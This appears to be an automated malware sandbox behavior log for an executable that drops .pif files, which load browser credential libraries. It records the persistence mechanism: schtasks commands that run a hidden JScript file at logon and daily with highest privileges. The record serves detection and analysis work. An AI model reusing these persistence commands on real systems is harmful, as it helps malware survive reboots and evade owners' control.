Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c schtasks.exe /create /tn "Chassis" /tr "wscript //B 'C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "SolarSys" /tr "wscript //B 'C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.js'" /sc onlogon /F /RL HIGHEST
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "Chassis" /tr "wscript //B 'C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif "C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif" "C:\Users\user\AppData\Local\SunCraft Innovations\Y"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif "C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif" "C:\Users\user\AppData\Local\SunCraft Innovations\Y"

Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\EHIJJDGDHD.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\EHIJJDGDHD.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\EHIJJDGDHD.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\EHIJJDGDHD.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\EHIJJDGDHD.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\ProgramData\EHIJJDGDHD.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\EHIJJDGDHD.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\EHIJJDGDHD.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\ProgramData\EHIJJDGDHD.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\ProgramData\EHIJJDGDHD.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\ProgramData\EHIJJDGDHD.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\ProgramData\EHIJJDGDHD.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\ProgramData\EHIJJDGDHD.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\ProgramData\EHIJJDGDHD.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\ProgramData\EHIJJDGDHD.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\ProgramData\EHIJJDGDHD.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\EHIJJDGDHD.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\ProgramData\EHIJJDGDHD.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\ProgramData\EHIJJDGDHD.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\ProgramData\EHIJJDGDHD.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\ProgramData\EHIJJDGDHD.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\ProgramData\EHIJJDGDHD.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\ProgramData\EHIJJDGDHD.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\ProgramData\EHIJJDGDHD.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\661592\Bk.pif	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Section loaded: wldp.dll

Source: C:\Users\user\Desktop\mg9LPWGtPB.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: mg9LPWGtPB.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: Hist.pif, 0000000B.00000002.3103223842.000000006C52D000.00000002.00000001.01000000.00000009.sdmp, Hist.pif, 0000000B.00000002.3085053957.000000001978A000.00000004.00000800.00020000.00000000.sdmp, mozglue.dll.11.dr
Source:	Binary string: freebl3.pdb source: Hist.pif, 0000000B.00000002.3082181966.000000001381C000.00000004.00000800.00020000.00000000.sdmp, freebl3.dll.11.dr
Source:	Binary string: freebl3.pdbp source: Hist.pif, 0000000B.00000002.3082181966.000000001381C000.00000004.00000800.00020000.00000000.sdmp, freebl3.dll.11.dr
Source:	Binary string: nss3.pdb@ source: Hist.pif, 0000000B.00000002.3097668223.000000003154B000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3103502423.000000006C6EF000.00000002.00000001.01000000.00000008.sdmp, nss3.dll.11.dr
Source:	Binary string: softokn3.pdb@ source: Hist.pif, 0000000B.00000002.3091622580.0000000025667000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: Hist.pif, 0000000B.00000002.3094585967.000000002B5DB000.00000004.00000800.00020000.00000000.sdmp, vcruntime140.dll.11.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: Hist.pif, 0000000B.00000002.3088383487.000000001F6FA000.00000004.00000800.00020000.00000000.sdmp, msvcp140.dll.11.dr
